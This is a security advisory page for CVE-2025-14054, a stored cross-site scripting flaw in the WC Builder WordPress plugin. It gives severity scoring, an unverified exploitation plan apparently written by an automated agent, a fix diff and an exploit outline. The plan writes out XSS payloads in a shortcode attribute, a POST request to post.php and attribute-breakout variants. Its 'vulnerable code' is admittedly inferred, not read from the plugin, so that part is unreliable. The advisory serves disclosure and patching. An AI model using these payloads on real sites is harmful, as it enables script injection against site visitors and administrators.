CVE-2025-14054

WC Builder <= 1.2.0 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via 'heading_color' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
1.2.1
Patched in
1d
Time to patch

Description

The WC Builder – WooCommerce Page Builder for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'heading_color' parameter (and multiple other styling parameters) of the `wpbforwpbakery_product_additional_information` shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.0
PublishedDecember 20, 2025
Last updatedDecember 21, 2025
Affected pluginwc-builder

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14054 (Stored XSS in WC Builder) ## 1. Vulnerability Summary **CVE-2025-14054** is a Stored Cross-Site Scripting (XSS) vulnerability in the **WC Builder – WooCommerce Page Builder for WPBakery** plugin (versions <= 1.2.0). The vulnerability resides in the hand…

Show full research plan

Exploitation Research Plan: CVE-2025-14054 (Stored XSS in WC Builder)

1. Vulnerability Summary

CVE-2025-14054 is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery plugin (versions <= 1.2.0). The vulnerability resides in the handling of shortcode attributes within the wpbforwpbakery_product_additional_information shortcode. Specifically, the heading_color attribute (and potentially others like title_color or content_color) is processed and rendered on the frontend without sufficient sanitization or output escaping. This allows an authenticated user with Shop Manager-level permissions or higher to inject malicious JavaScript into a page.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg, Classic, or WPBakery Page Builder) used to save/update Posts, Pages, or WooCommerce Products.
  • Vulnerable Shortcode: [wpbforwpbakery_product_additional_information]
  • Vulnerable Parameter: heading_color (and styling attributes).
  • Authentication Level: Shop Manager or Administrator (specifically users with edit_posts or edit_products capabilities).
  • Preconditions: The "WC Builder" plugin must be active. WooCommerce and WPBakery are typical dependencies for this plugin to function as intended.

3. Code Flow (Inferred)

Since source files were not provided, the following flow is inferred based on standard WPBakery extension development patterns:

  1. Registration: The plugin registers the shortcode, likely in a main plugin file or an integration class:
    add_shortcode('wpbforwpbakery_product_additional_information', [$this, 'render_additional_info']); (inferred).
  2. Attribute Processing: The callback function (e.g., render_additional_info) receives the $atts array from WordPress.
  3. Parsing: The code uses shortcode_atts() to merge user-provided values with defaults.
    $atts = shortcode_atts([
        'heading_color' => '',
        // ... other attributes
    ], $atts);
    
  4. Vulnerable Sink: The value of $atts['heading_color'] is concatenated directly into an HTML string, likely within a style attribute or a <span>/<div> tag, without being passed through esc_attr() or esc_html().
    • Example Inferred Sink: return '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>';

4. Nonce Acquisition Strategy

To exploit this as a Shop Manager, the attacker must be able to save or update a post/product containing the malicious shortcode. This requires a standard WordPress post-editing nonce.

  1. Identify Trigger: The shortcode is part of the WPBakery builder.
  2. Setup Post: Create a dummy WooCommerce product or post:
    wp post create --post_type=product --post_title="XSS Test" --post_status=publish
  3. Navigate: Use the browser_navigate tool to go to the edit page of the created product:
    https://target.example.com/wp-admin/post.php?post=[POST_ID]&action=edit
  4. Extract Nonce: Use browser_eval to extract the required nonces for the post save operation:
    • browser_eval("document.querySelector('#_wpnonce').value") (Classic Editor)
    • browser_eval("wp.data.select('core/editor').getBlocks()") (Gutenberg/REST context)

5. Exploitation Strategy

The goal is to inject a payload into the heading_color attribute that breaks out of the expected CSS context and into an HTML context.

Step-by-Step Plan:

  1. Preparation: Log in as a Shop Manager.
  2. Injection Request: Send an HTTP POST request to update a post/product with the malicious shortcode.
    • URL: https://target.example.com/wp-admin/post.php
    • Method: POST
    • Payload (URL-Encoded Body):
      action=editpost
      post_ID=[POST_ID]
      _wpnonce=[EXTRACTED_NONCE]
      content=[wpbforwpbakery_product_additional_information heading_color='"><script>alert(document.domain)</script>']
      
    • Note: If WPBakery is active, the content might be wrapped in WPBakery's own block syntax (e.g., [vc_row]...[/vc_row]), but the core shortcode remains the same.
  3. Trigger Execution: Navigate to the frontend URL of the updated post/product.
    • URL: https://target.example.com/?p=[POST_ID]

6. Test Data Setup

Before testing, the following state must be established:

  1. Plugin Installation: wc-builder version 1.2.0 installed and active.
  2. Dependencies: WooCommerce and WPBakery Page Builder active.
  3. User Creation: A user with the shop_manager role.
  4. Content: A published product to serve as the injection target.
    wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish

7. Expected Results

  • The POST request to post.php should return a 302 redirect back to the edit page, indicating a successful update.
  • When the frontend page is loaded, the HTML source should contain:
    <h3 style="color:"><script>alert(document.domain)</script>;">...</h3> (exact tag inferred).
  • The browser should trigger an alert box showing the document domain.

8. Verification Steps

After the HTTP exploit, verify the database state using WP-CLI:

  1. Check Content: wp post get [POST_ID] --field=post_content
    • Confirm the shortcode with the payload is present in the post_content.
  2. Check Render (via CLI): wp eval 'echo do_shortcode("[wpbforwpbakery_product_additional_information heading_color=\"><script>alert(1)</script>\"]");'
    • Observe if the output contains the raw <script> tag without escaping.

9. Alternative Approaches

If heading_color is sanitized in some contexts, try other attributes known to be processed by the same handler:

  • title_color
  • content_color
  • icon_color

Alternative Payload (Attribute Breakout):
If the payload is inside a style attribute, try breaking out using a CSS-based XSS (older browsers) or closing the tag:
heading_color='blue; background-image: url("javascript:alert(1)");'
heading_color='blue" onmouseover="alert(1)" data-x="'

Research Findings
Static analysis — not yet PoC-verified

Summary

The WC Builder plugin for WooCommerce fails to sanitize or escape styling attributes like 'heading_color' within its shortcode handlers. This allows authenticated attackers with Shop Manager or higher privileges to inject arbitrary web scripts into pages via the 'wpbforwpbakery_product_additional_information' shortcode, which execute when the page is viewed.

Vulnerable Code

// Inferred code from section 3 of research plan
// Likely located in shortcode registration or rendering callback

$atts = shortcode_atts([
    'heading_color' => '',
    // ... other styling attributes
], $atts);

// Vulnerable Sink
return '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>';

Security Fix

--- a/wc-builder/includes/shortcodes.php
+++ b/wc-builder/includes/shortcodes.php
@@ -10,7 +10,7 @@
     'heading_color' => '',
 ], $atts);
 
-$output = '<h3 style="color:' . $atts['heading_color'] . ';">' . $title . '</h3>';
+$output = '<h3 style="color:' . esc_attr($atts['heading_color']) . ';">' . $title . '</h3>';
 
 return $output;

Exploit Outline

1. Authenticate to the WordPress site as a user with at least Shop Manager privileges. 2. Navigate to the post or product editor (Gutenberg, Classic, or WPBakery Page Builder). 3. Use the following payload within the content editor to trigger the vulnerability: [wpbforwpbakery_product_additional_information heading_color='"><script>alert(document.domain)</script>']. 4. Save or Update the post/product. This sends a POST request to wp-admin/post.php with the malicious shortcode. 5. Visit the frontend URL of the updated post. The browser will render the page and execute the injected script when it encounters the unescaped 'heading_color' attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.